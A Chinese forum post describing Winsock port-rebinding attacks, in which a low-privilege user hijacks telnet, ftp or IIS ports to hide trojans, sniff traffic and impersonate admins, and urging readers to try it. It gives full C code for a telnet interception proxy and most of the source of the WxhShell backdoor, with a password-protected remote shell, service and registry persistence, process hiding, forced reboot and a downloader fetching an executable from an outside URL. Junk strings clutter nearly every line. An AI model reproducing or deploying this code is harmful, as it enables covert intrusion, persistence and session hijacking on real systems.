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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^*?mb)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uwI$t[  
aI.5w9  
  saddr.sin_family = AF_INET; Z7]["  
UP<B>Y1a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \7V[G6'{  
Sb QM!Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !LI 8Xk  
DP@F-Q4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jJ.isr|`  
ATRB9  
  这意味着什么?意味着可以进行如下的攻击: K&"ZZFd_  
itYTV?bd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]v2%hX  
cG)U01/"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C>NLZM T  
d\O*Ol*/v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s2=`haYu  
{!0f.nv  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  wXR7Ifrv  
f]sc[_n]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \wR;N/tg  
'@6O3z_{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R6m6bsZ`  
"!S7D >2y#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %+pF4f8]  
)L+>^cJI<  
  #include J;DTh ]z?:  
  #include bVxbQ$  
  #include to9X2^  
  #include    aM5Hp>'nI  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tD^$}u6  
  int main() ,DL%oQR  
  { Cl>|*h+m  
  WORD wVersionRequested; ZrNBkfe :  
  DWORD ret; qV{iUtYt  
  WSADATA wsaData; g:oB j6$ q  
  BOOL val; `g}po%k  
  SOCKADDR_IN saddr; @|2sF  
  SOCKADDR_IN scaddr; '"m-kor  
  int err; fK/|0@B8  
  SOCKET s; >,6%Y3  
  SOCKET sc; Zdfruzl&`  
  int caddsize; T)#e=WcP]  
  HANDLE mt; b3NEYn  
  DWORD tid;   .;J6)h  
  wVersionRequested = MAKEWORD( 2, 2 ); vu@@!cT6e  
  err = WSAStartup( wVersionRequested, &wsaData ); [,yYr  
  if ( err != 0 ) { )BeB xo7lv  
  printf("error!WSAStartup failed!\n"); -|DBO0q  
  return -1; Ir6(EIwx0  
  } jvQpf d  
  saddr.sin_family = AF_INET; MA,7 |s  
   ()MUyW"S#`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L3;cAb/  
bHRRgR`,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Xmny(j)g  
  saddr.sin_port = htons(23); d-{1>\-_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s&d!+-\6_  
  { $y_P14  
  printf("error!socket failed!\n"); 2{|mL`$04<  
  return -1; C2;Hugm4  
  } Lk lD^AJA  
  val = TRUE; Uz_OUTFM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 G,X>f?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^k2g60]  
  { *{!E`),FX  
  printf("error!setsockopt failed!\n"); e3.q8r  
  return -1; 5~FXy{ZIH  
  } /B!Ik:c}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ba}<X;B}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gP2<L5&Z,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d3;Sy`.  
-|2k$W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6f*QUw~  
  { F\2<q$Zn+  
  ret=GetLastError(); jZgCDA8Mr!  
  printf("error!bind failed!\n"); exxH0^  
  return -1; F-=Xbyr3@  
  } Ake$M^Bz  
  listen(s,2); Yln[ZmK9g  
  while(1) "Z]z9(  
  { LEd@""h  
  caddsize = sizeof(scaddr); _ SJ Fuv/  
  //接受连接请求 G-[.BWQ   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); W`F?j-4  
  if(sc!=INVALID_SOCKET) pGcijD  
  { lobC G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ms6dl-_t  
  if(mt==NULL) PI&@/+  
  { ,5}")T["u  
  printf("Thread Creat Failed!\n"); $O^"O Q_@  
  break; ~m3Tq.sYrY  
  } D[0g0>K  
  } , Y^GQ`~#  
  CloseHandle(mt); lho0Xy gn  
  } Rm[{^V.Z$  
  closesocket(s); 2*@@Bw.XA  
  WSACleanup(); VXO.S)v2J  
  return 0; ]sD lZJX<M  
  }   }u.I%{4  
  DWORD WINAPI ClientThread(LPVOID lpParam) :yFmCLZaQ  
  { l.uW>AoLh  
  SOCKET ss = (SOCKET)lpParam; 5ajd$t  
  SOCKET sc; rm%MQmF  
  unsigned char buf[4096]; 534DAhpD=.  
  SOCKADDR_IN saddr; ZC97Z sE  
  long num; 7|DPevrk  
  DWORD val; [5-3PuT&9  
  DWORD ret; !bBx'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 mvu$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   y4%[^g~-  
  saddr.sin_family = AF_INET; %\B@!4]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M7.H;.?  
  saddr.sin_port = htons(23); ~j yl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {JtfEna  
  { /Jc54d  
  printf("error!socket failed!\n"); Yan,Bt{YJ  
  return -1; d`3>@*NR<  
  } $D m|ol.Z  
  val = 100; h3Y|0-D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {ewo-dva  
  { \t ^9UN  
  ret = GetLastError(); ;4<!vVf e  
  return -1; <"Yx}5n.  
  } Q\ pI\]p:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X< 4f7;]O  
  { tY- `$U@  
  ret = GetLastError(); aucG|}B  
  return -1; &Fh#otH_  
  } >JHQA1mX  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) C zxF  
  { y Dw#V`Y^M  
  printf("error!socket connect failed!\n"); ;:aCZ8e  
  closesocket(sc); #@:GLmD%  
  closesocket(ss); j4+kL4M@H  
  return -1; xeW}`i5_w  
  } <P_B|Y4N/  
  while(1) f,VJfY?#  
  { c^7QiTt_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z4rg.ai  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <|;)iT1VeT  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pwmH(94$0  
  num = recv(ss,buf,4096,0); F/:Jp3@  
  if(num>0) i\C~]K~O!  
  send(sc,buf,num,0); M,g$  
  else if(num==0) Y))x'<T'Q  
  break; ?@H/;hB[|  
  num = recv(sc,buf,4096,0); -J^t#R^$`  
  if(num>0) (3N;-   
  send(ss,buf,num,0); LfX[(FP  
  else if(num==0) >#|%y>g .o  
  break; P vW~EJ  
  } }TG=ZVi  
  closesocket(ss); =j~Xrytn  
  closesocket(sc); &6^QFqqW`-  
  return 0 ; <nJ8%aY,  
  } ]] 50c  
'7UIzk|  
"p"~fN /I9  
==========================================================  lx&;?QQ  
\s_`ZEB  
下边附上一个代码,,WXhSHELL I5#zo,9  
NU%<Ws=  
========================================================== hIFfvUl  
: \KJw  
#include "stdafx.h" $kxP{0u  
N _|tw  
#include <stdio.h> +J7xAyv_Oz  
#include <string.h> }o7"2h ht  
#include <windows.h> d[y(u<Vl  
#include <winsock2.h> Y(C-o[-N  
#include <winsvc.h> .NT9dX  
#include <urlmon.h> KVp3 pUO  
z<,-:=BC"  
#pragma comment (lib, "Ws2_32.lib") Qw.j  
#pragma comment (lib, "urlmon.lib") uol EX+  
E\vW>g*W  
#define MAX_USER   100 // 最大客户端连接数 />dYkIv  
#define BUF_SOCK   200 // sock buffer xnPi'?A]  
#define KEY_BUFF   255 // 输入 buffer -P-&]F5  
-P We  
#define REBOOT     0   // 重启 ,7ZV;f 81  
#define SHUTDOWN   1   // 关机 6HRr 4NDcj  
,L$, d  
#define DEF_PORT   5000 // 监听端口 Y(6p&I  
9_l WB6  
#define REG_LEN     16   // 注册表键长度 QN^AihsPi  
#define SVC_LEN     80   // NT服务名长度 V2IurDE  
p>= b|Qy|  
// 从dll定义API X*e<g=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;0-Y),  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3oMhsQz~z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dr]Pns9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hYSf;cG}A  
`l + pk%  
// wxhshell配置信息 3pjK`"Nmz\  
struct WSCFG { 1hW"#>f7  
  int ws_port;         // 监听端口 M7\yEi"*  
  char ws_passstr[REG_LEN]; // 口令 MT{ovDA].  
  int ws_autoins;       // 安装标记, 1=yes 0=no l G $s(  
  char ws_regname[REG_LEN]; // 注册表键名 #SqU>R  
  char ws_svcname[REG_LEN]; // 服务名 I3d!!L2ma  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PEPf=sm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v-!^a_3Ui  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Og<nnq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !b8.XGo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q[MWzsx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h9I vuv'  
v 6KRE3:V  
}; UflS`  
.?)gn]#  
// default Wxhshell configuration 6 B*,Mu4A  
struct WSCFG wscfg={DEF_PORT, v&Oc,W  
    "xuhuanlingzhe", Z^O_7I<5E  
    1, wOF";0EN  
    "Wxhshell", rLp (}^  
    "Wxhshell", F-PQ`@ZNW  
            "WxhShell Service", vY2^*3\<D  
    "Wrsky Windows CmdShell Service", m.w.h^f$&  
    "Please Input Your Password: ", y8$I=  
  1, Sq[LwJ  
  "http://www.wrsky.com/wxhshell.exe", 9_xJT^10  
  "Wxhshell.exe" J1"16Uu  
    }; wAF<_NG#  
WnL7 A:sZ  
// 消息定义模块 Zce/&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l'twy$V4|~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f8S!FGiNc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1`)e}p&  
char *msg_ws_ext="\n\rExit."; +{au$v}  
char *msg_ws_end="\n\rQuit."; VRD:PVz  
char *msg_ws_boot="\n\rReboot..."; ]La~Bh6;m  
char *msg_ws_poff="\n\rShutdown..."; '|@?R|i0  
char *msg_ws_down="\n\rSave to "; fzjAP7 y  
GEtzLaq<  
char *msg_ws_err="\n\rErr!"; M6XpauR-  
char *msg_ws_ok="\n\rOK!"; P~M<OUg  
"g:1br?X,9  
char ExeFile[MAX_PATH]; $u%7]]Y^\  
int nUser = 0; ^!rAT1(/_  
HANDLE handles[MAX_USER]; #}S<O_  
int OsIsNt; PDkg@#&y,k  
>*Ctp +X@  
SERVICE_STATUS       serviceStatus; [(*?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Pd04  
jKr>Ig=$tA  
// 函数声明 Eal*){"<,?  
int Install(void); \^x`GsVy  
int Uninstall(void); ,racmxnv  
int DownloadFile(char *sURL, SOCKET wsh); kV:T2}]|H  
int Boot(int flag); UZx8ozv'  
void HideProc(void);  P@FE3g  
int GetOsVer(void); !yD$fY  
int Wxhshell(SOCKET wsl); tA{h x -  
void TalkWithClient(void *cs); pB'{_{8aA  
int CmdShell(SOCKET sock); \EW<;xq  
int StartFromService(void); qu%}b>  
int StartWxhshell(LPSTR lpCmdLine); nR8r$2B+t  
,vB~9^~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x};sti R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $3]]<oH  
SGP)A(,k9  
// 数据结构和表定义 JVR,Py:%G  
SERVICE_TABLE_ENTRY DispatchTable[] = U?=-V8#M|  
{ )jGB[s";)y  
{wscfg.ws_svcname, NTServiceMain}, Cq[<CPAS  
{NULL, NULL} OBL2W\{  
}; < Wm'V-  
*;[g Ga~  
// 自我安装 (O"-6`w[  
int Install(void) ^NXxMC( e+  
{ ]h%~'8g,  
  char svExeFile[MAX_PATH]; *AJYSa,z  
  HKEY key; ]XEUD1N;I  
  strcpy(svExeFile,ExeFile); 2:G/Oj h&]  
WB5M ![  
// 如果是win9x系统,修改注册表设为自启动 C_;A~iI7  
if(!OsIsNt) { dfT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /a }` y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K)W:@,*  
  RegCloseKey(key); ZKt`>KZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yht |^ =a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :gTtWJ04]  
  RegCloseKey(key); `X%Qt ~  
  return 0; @t2S"s$m  
    } WSbD."p<  
  } g17 fge6%  
} O96%U$W  
else { 5#~E[dr  
<-"[9 w  
// 如果是NT以上系统,安装为系统服务 x9\]C' *sO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H1r8n$h  
if (schSCManager!=0) +}iuTqu5  
{ b<j*;n.  
  SC_HANDLE schService = CreateService 5M\bH'1  
  ( v]y=+* A  
  schSCManager, y wmC>`0p  
  wscfg.ws_svcname, <&l@ ):a  
  wscfg.ws_svcdisp, Y_/w}HB  
  SERVICE_ALL_ACCESS, uZa)N-=b2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ht2J, 1t  
  SERVICE_AUTO_START, }aL&3[>>  
  SERVICE_ERROR_NORMAL, (BGflb  
  svExeFile, SW7AG;c=  
  NULL, UB w*}p  
  NULL, ny1Dg$u i2  
  NULL, ]h'*L`  
  NULL, X*t2h3 "}  
  NULL #6@4c5{2=4  
  ); \G2PK&)F  
  if (schService!=0) K"8!  
  { #N'bhs  
  CloseServiceHandle(schService); !+ (H(,gI  
  CloseServiceHandle(schSCManager); =-]NAj\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aSIoq}c(  
  strcat(svExeFile,wscfg.ws_svcname); S|]\q-qA&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gP`CQ0t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d "25e"(~F  
  RegCloseKey(key); S5[}kfe  
  return 0; 7A^L$TY  
    } w d6+,B  
  } 4e?MthJ>  
  CloseServiceHandle(schSCManager); Qn}M  
} UZ!It>  
} _8e0vi!~2  
GYtp%<<9;  
return 1; ] QJ7q}  
} 84/#,X!=s  
{bNVNG^  
// 自我卸载 }(!3)k7*  
int Uninstall(void) G%>M@nYUE  
{ |xrnLdng0R  
  HKEY key; \lF-]vz*  
|y4j:`@.  
if(!OsIsNt) { /L=Y8tDt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,8o Y(h  
  RegDeleteValue(key,wscfg.ws_regname); IU\h,Ug  
  RegCloseKey(key); C0W-}H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E.G]T#wt0  
  RegDeleteValue(key,wscfg.ws_regname); d$y?py  
  RegCloseKey(key);  {?Cm  
  return 0; MP~+@0cv  
  } bJ]blnH  
} B1TWOl?d{  
} B?9"Ztb  
else { _Zus4&'  
P?J\p J1|7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3*N0oc^m  
if (schSCManager!=0) H__'K/nH+  
{ JvYs6u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gnlU  
  if (schService!=0) ;&XC*R+  
  { i<*W,D6  
  if(DeleteService(schService)!=0) { meZZQ:eSl  
  CloseServiceHandle(schService); c9Q_Qr0'  
  CloseServiceHandle(schSCManager); .gY=<bG/fA  
  return 0; 2:&L|;  
  } xXCsJ9]  
  CloseServiceHandle(schService); ne%(`XY{Q]  
  } 0F6~S   
  CloseServiceHandle(schSCManager); P?+ VR=t  
} r%%@~ \z  
} G,6 i!M  
/]2I%Q  
return 1; |d=GAW v  
} 4ULdf|oP"  
&3:<WU:U  
// 从指定url下载文件 =oTj3+7  
int DownloadFile(char *sURL, SOCKET wsh) fDAT#nlyp  
{ C)ic;!$Qhb  
  HRESULT hr; V6_~"pRR=  
char seps[]= "/"; L&&AK`Ur3l  
char *token; <GSp%r  
char *file; _+}f@&"  
char myURL[MAX_PATH]; oo|Nu+  
char myFILE[MAX_PATH]; K+`deH_d  
} wx(P3BHD  
strcpy(myURL,sURL); Mg&<W#$K  
  token=strtok(myURL,seps); DS;.)P"  
  while(token!=NULL) cyB2=,  
  { BzTzIo5  
    file=token; ie7P^:T|+  
  token=strtok(NULL,seps); Nt687  
  } dg&GMo  
S2EV[K8#  
GetCurrentDirectory(MAX_PATH,myFILE); o0TB>DX$`  
strcat(myFILE, "\\"); 0@RVM|  
strcat(myFILE, file); =b>e4I@  
  send(wsh,myFILE,strlen(myFILE),0); Fi# 9L  
send(wsh,"...",3,0); MJU*Sq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iyr<qtwK  
  if(hr==S_OK) U "v=XK)!  
return 0; M|7][! <G!  
else U5[r&Y D  
return 1; py6O\` \  
gps.  
} # ELYPp]6  
%- Ga  ^[  
// 系统电源模块 _O&P!hI  
int Boot(int flag) hHgH'  
{ rVwW%&  
  HANDLE hToken; *vT Abk$   
  TOKEN_PRIVILEGES tkp; tv5N wM  
wpt5'|I  
  if(OsIsNt) { )lP(is FP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z<'iT%6+r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S$/SFB$)~W  
    tkp.PrivilegeCount = 1; 60l!3o"p!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MHS|gR.c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dRUmC H  
if(flag==REBOOT) { H ahA} Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !w/]V{9`X  
  return 0; =69sWcC8  
} @XVx{t;g2  
else { czK}F/Sg`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7A{Z1[7  
  return 0; f;!L\$yKy  
} HBA|NV3.  
  } sn+ kFvk}S  
  else { o;>qsn8  
if(flag==REBOOT) { 6n H'NNS:J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w I[Hoi V  
  return 0; Nhtc^DX  
} WLH ;{  
else { &:~9'-O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /*G bl  
  return 0; z6fY_LL  
} yF-`f _  
} 3dgPP@7d$  
pL: r\Y:R  
return 1; <3x:nH @  
} a..LbQQ  
KBA& s  
// win9x进程隐藏模块 Z>*a:|  
void HideProc(void) =-avzuy#  
{  WfQZ7e  
QN#tj$x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f]2;s#cu  
  if ( hKernel != NULL ) xu@xP5GB^  
  { 1w+)ne_&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rj/nn)vv;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 31N5dIi,  
    FreeLibrary(hKernel); fn8|@)J  
  } Q)5V3Q]@^  
TXqtE("BDl  
return; !E^\)=E)P  
} @ ZN@EOM$+  
+ijxv  
// 获取操作系统版本 \ *A!@T  
int GetOsVer(void) WUb] 8$n  
{ 9ZDbZc  
  OSVERSIONINFO winfo; [}5mi?v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E`|vu*l7  
  GetVersionEx(&winfo); 3S @)Ans  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q1(4l?X@  
  return 1; ]Mvpec_B  
  else o+}G/*O8  
  return 0; PB~ r7O]  
} xrkR)~ E  
+5GPU 9k  
// 客户端句柄模块 ~DS.b-E  
int Wxhshell(SOCKET wsl) v3wq-  
{ eKRE1DK  
  SOCKET wsh; biRkq c;  
  struct sockaddr_in client; ADA}_|O  
  DWORD myID; W9S6 SO^\  
.u]d5z BR  
  while(nUser<MAX_USER) 8_M"lU0[  
{ Q~`{^fo1  
  int nSize=sizeof(client); P!lfk:M^;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T>, [V:  
  if(wsh==INVALID_SOCKET) return 1; S$4 6YQ  
PgsG*5WQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^JGwCHeb|H  
if(handles[nUser]==0) H!|g?"C  
  closesocket(wsh); aJ[|80U  
else KfQ?b_H.  
  nUser++; pDcGf7  
  } spWo{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 77'@U(  
YR[I,j  
  return 0; 9x eg,#1  
} gOMy8w4>  
md lMciP  
// 关闭 socket  vSo1WS  
void CloseIt(SOCKET wsh) *hh9 K  
{ r6It )PQ  
closesocket(wsh); Sa/]81 aG  
nUser--; vVSf'w   
ExitThread(0); li0)<("/  
} tD,I7%|@  
n*9nzx#q  
// 客户端请求句柄 2I 7|hZ,  
void TalkWithClient(void *cs) o3:BH@@  
{ D5Z)"~'  
-op)X>  
  SOCKET wsh=(SOCKET)cs; JW"n#sR4  
  char pwd[SVC_LEN]; w8zr0z  
  char cmd[KEY_BUFF]; }|wC7*^)  
char chr[1]; *d31fBCk%  
int i,j; Zh_3ydMD1  
gL`aLg_  
  while (nUser < MAX_USER) { /x\~ 5cC  
V5gr-^E  
if(wscfg.ws_passstr) { _>_ "cKS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6NQ`IC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @h(Z;  
  //ZeroMemory(pwd,KEY_BUFF); bk]g}s  
      i=0; f/"IC;<~t>  
  while(i<SVC_LEN) { FytGg[#]  
2 ]n4)vv,  
  // 设置超时 +`!>lo{X  
  fd_set FdRead; j|{ n?  
  struct timeval TimeOut; Q x&7Ceu"  
  FD_ZERO(&FdRead); _>3#dk  
  FD_SET(wsh,&FdRead); $"va8,  
  TimeOut.tv_sec=8; qRq4PQ@  
  TimeOut.tv_usec=0; En4!-pWHQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A o@WTs9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <4CqG4}Y  
l< HnPR/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /v.<h*hxWy  
  pwd=chr[0]; GGU wS  
  if(chr[0]==0xd || chr[0]==0xa) { +jO#?J  
  pwd=0; bGK-?BE5+A  
  break; ^ Z3y  
  } o\fPZ`p-m~  
  i++; e}(8BF  
    } n*Hx"2XF  
! 6R|  
  // 如果是非法用户,关闭 socket k#Qjm9V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h?vny->uJ  
} <- R%  
'C@yJf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %BQ?DTtb7'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z A}!Rzo  
i8%Z(@_`  
while(1) { <[=[|DS l  
8C*xrg#g:  
  ZeroMemory(cmd,KEY_BUFF); sXYXBX[  
5C9 .h:c4y  
      // 自动支持客户端 telnet标准   rS+ >oP}  
  j=0; z?GtC{L9  
  while(j<KEY_BUFF) { 'a$/ !~X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |)mUO:*  
  cmd[j]=chr[0]; XW+-E^d  
  if(chr[0]==0xa || chr[0]==0xd) { X|L_}Q7  
  cmd[j]=0; Z% ]LZ/O8  
  break; w^:@g~  
  } 5i'KGL  
  j++; "2 D{X  
    } QBA{*@ A-  
Z{2QDjAI;  
  // 下载文件 ,+x\NY2d  
  if(strstr(cmd,"http://")) { hl2|Ec  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @KJmNM1]V  
  if(DownloadFile(cmd,wsh)) 3wQ\L=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;CuL1N#I  
  else G]dHYxG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e~nh95  
  } "#pN  
  else { C;ME"4,(  
:Ye~I;" 8  
    switch(cmd[0]) { &E@mCQ1  
  nN>Uh T  
  // 帮助 2#8PM-3"  
  case '?': { T0cm+|S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D\E"v,Y\+O  
    break; ~/Y8wxg  
  } .ts XQf  
  // 安装 ~`5[Li:eP  
  case 'i': { SN`L@/I  
    if(Install()) nO;ox*Bk+8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wkp$/IZKMj  
    else Np;tpq~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (e9hp2m  
    break; 24f N3  
    } 9e&*+ +vf  
  // 卸载 mXu";?2  
  case 'r': { jU}  
    if(Uninstall()) (1'sBm7F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r^Soqom3  
    else @@}muW>;T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K k^!P*#  
    break; G#='*v OtO  
    } *48LQzc  
  // 显示 wxhshell 所在路径 1+l[P9?R[  
  case 'p': { ,S?:lQuK5  
    char svExeFile[MAX_PATH]; $H6ngL  
    strcpy(svExeFile,"\n\r"); uL^X$8K;(  
      strcat(svExeFile,ExeFile); \\ZhM  
        send(wsh,svExeFile,strlen(svExeFile),0); r%LG>c`^  
    break; . :(gg  
    } MW0CqMi]T  
  // 重启 7e{w,.ny!  
  case 'b': { 2(GLc*B>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =wa5\p/  
    if(Boot(REBOOT)) e)i-$0L"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FH;)5GGnv  
    else { u@zT~\ h*  
    closesocket(wsh); "T}HH  
    ExitThread(0); M[e{(iQ:  
    } GF0Utp:Zf;  
    break; !m9g\8tE  
    } ul"Z% 1]  
  // 关机 QdIoK7J 9  
  case 'd': { zeH=py[n  
